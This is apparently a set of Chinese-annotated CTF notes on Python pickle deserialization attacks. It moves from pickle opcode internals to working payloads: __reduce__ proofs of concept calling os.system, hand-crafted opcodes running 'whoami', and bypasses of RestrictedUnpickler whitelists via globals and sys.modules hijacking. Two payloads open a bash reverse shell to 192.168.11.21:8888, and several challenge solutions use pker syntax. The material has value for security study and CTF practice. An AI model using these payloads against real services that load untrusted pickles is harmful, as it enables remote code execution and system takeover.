import pickle

a={'1': 1, '2': 2}

print(f'# 原变量：{a!r}')
for i in range(4):
    print(f'pickle版本{i}',pickle.dumps(a,protocol=i))

# 输出：
pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'

# 'abcd'
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'

# \x80：协议头声明 \x03：协议版本
# \x04\x00\x00\x00：数据长度：4
# abcd：数据
# q：储存栈顶的字符串长度：一个字节（即\x00）
# \x00：栈顶位置
# .：数据截止

import pickletools

data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)

    0: \x80 PROTO      3
    2: c    GLOBAL     'builtins exec'
   17: q    BINPUT     0
   19: X    BINUNICODE "key1=b'1'\nkey2=b'2'"
   43: q    BINPUT     1
   45: \x85 TUPLE1
   46: q    BINPUT     2
   48: R    REDUCE
   49: q    BINPUT     3
   51: .    STOP
highest protocol among opcodes = 2

import pickle
import os

class genpoc(object):
    def __reduce__(self):
        s = """echo test >poc.txt"""  # 要执行的命令
        return os.system, (s,)        # reduce函数必须返回元组或字符串

e = genpoc()
poc = pickle.dumps(e)

print(poc) # 此时，如果 pickle.loads(poc)，就会执行命令

import pickle

key1 = b'321'
key2 = b'123'
class A(object):
    def __reduce__(self):
        return (exec,("key1=b'1'\nkey2=b'2'",))

a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)

# secret.py
name='TEST3213qkfsmfo'

# main.py
import pickle
import secret

opcode='''c__main__
secret
(S'name'
S'1'
db.'''

print('before:',secret.name)

output=pickle.loads(opcode.encode())

print('output:',output)
print('after:',secret.name)

opcode='''c__main__
secret
(S'name'
S'1'
db.'''

b'''cos
system
(S'whoami'
tR.'''

b'''(S'whoami'
ios
system
.'''

b'''(cos
system
S'whoami'
o.'''

class Student:
    def __init__(self, name, age):
        self.name = name
        self.age = age

data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''

a=pickle.loads(data)
print(a.name,a.age)

# linux(注意posix):
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

# windows(注意nt):
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

safe_builtins = {'range','complex','set','frozenset','slice',}

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__': # 只允许__main__模块
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/192.168.11.21/8888 0>&1'"
tR.
'''

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__': # 只允许__main__模块
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

try:
    pickle_data = request.form.get('data')
    if b'R' in base64.b64decode(pickle_data): 
        return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'

b'''c__main__
secret
(S'name'
S"1"
S"category"
S"2"
db0(S"1"
S"2"
i__main__
Animal
.'''

以下module都可以是包含`.`的子module
调用函数时，注意传入的参数类型要和示例一致
对应的opcode会被生成，但并不与pker代码相互等价

GLOBAL
对应opcode：b'c'
获取module下的一个全局对象（没有import的也可以，比如下面的os）：
GLOBAL('os', 'system')
输入：module,instance(callable、module都是instance)  

INST
对应opcode：b'i'
建立并入栈一个对象（可以执行一个函数）：
INST('os', 'system', 'ls')  
输入：module,callable,para 

OBJ
对应opcode：b'o'
建立并入栈一个对象（传入的第一个参数为callable，可以执行一个函数））：
OBJ(GLOBAL('os', 'system'), 'ls') 
输入：callable,para

xxx(xx,...)
对应opcode：b'R'
使用参数xx调用函数xxx（先将函数入栈，再将参数入栈并调用）

li[0]=321
或
globals_dic['local_var']='hello'
对应opcode：b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode：b'b'
对xx对象进行属性设置

return
对应opcode：b'0'
出栈（作为pickle.loads函数的返回值）：
return xxx # 注意，一次只能返回一个对象或不返回对象（就算用逗号隔开，最后也只返回一个元组）

GLOBAL('os', 'system') # 正确写法
a='as"sf"ds' # 正确写法

a='as\'sf\'ds' # 由于单引号会被去除，会出错
GLOBAL("os", 'system') # 不推荐的写法
a="as'sfds'" # 不推荐的写法，此时会出错

secret=GLOBAL('__main__', 'secret') 
# python的执行文件被解析为__main__对象，secret在该对象从属下
secret.name='1'
secret.category='2'

game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'

s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return

INST('os', 'system', 'whoami')

OBJ(GLOBAL('os', 'system'), 'whoami')

INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])

animal = INST('__main__', 'Animal','1','2')
return animal


# 或者

animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal

class Animal:

    def __init__(self, name, category):
        self.name = name
        self.category = category

animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal

getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')
eval=getattr(builtins,'eval')
eval('print("123")')
return

modules=GLOBAL('sys', 'modules')
modules['sys']=modules
modules_get=GLOBAL('sys', 'get')
os=modules_get('os')
modules['sys']=os
system=GLOBAL('sys', 'system')
system('whoami')
return

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module) # 注意这里调用了__import__
        return getattr(module, name)

__dict__ = GLOBAL('structs', '__dict__') # structs的属性dict
__builtins__ = GLOBAL('structs', '__builtins__') # 内建函数dict
gtat = GLOBAL('structs', '__getattribute__') # 获取structs.__getattribute__
__builtins__['__import__'] = gtat # 劫持__import__函数
__dict__['structs'] = __builtins__ # 把structs.structs属性赋值为__builtins__
builtin_get = GLOBAL('structs', 'get') # structs.__getattribute__('structs').get
eval = builtin_get('eval') # structs.structs['eval']（即__builtins__['eval']
eval('print(123)')
return

class Pysh(object):
    def __init__(self):
        self.key = os.urandom(100)
        self.login()
        self.cmds = {
            'help': self.cmd_help,
            'whoami': self.cmd_whoami,
            'su': self.cmd_su,
            'flag': self.cmd_flag,
        }

    def login(self):
        with open('../flag.txt', 'rb') as f:
            flag = f.read()
        flag = bytes(a ^ b for a, b in zip(self.key, flag))
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        print('Login as ' + user.name + ' - ' + user.group)
        user.privileged = False
        user.flag = flag
        self.user = user

    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()

    ...

    def cmd_flag(self):
        if not self.user.privileged:
            print('flag: Permission denied')
        else:
            print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))


if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()

User=GLOBAL('structs','User')
User.__set__=GLOBAL('structs','User') # 使User成为描述器类
des=User('des','des') # 描述器
User.privileged=des # 注意此处必须设置描述器为类的属性，而不是实例的属性
user=User('hachp1','hachp1') # 实例化一个User对象

return user

system=GLOBAL('os', 'system')
system('bash -c "bash -i >& /dev/tcp/192.168.11.21/8888 0>&1"')
return

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        # Only allow safe classes
        if "guess_game" == module[0:10] and "__" not in name:
            return getattr(sys.modules[module], name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

ticket=INST('guess_game.Ticket','Ticket',(1))
game=GLOBAL('guess_game','game')
game.win_count=9
game.round_count=9
game.curr_ticket=ticket

return ticket

secret=GLOBAL('__main__', 'secret') # python的执行文件被解析为__main__对象，secret在该对象从属下
secret.name='1'
secret.category='2'
animal = INST('__main__', 'Animal','1','2')
return animal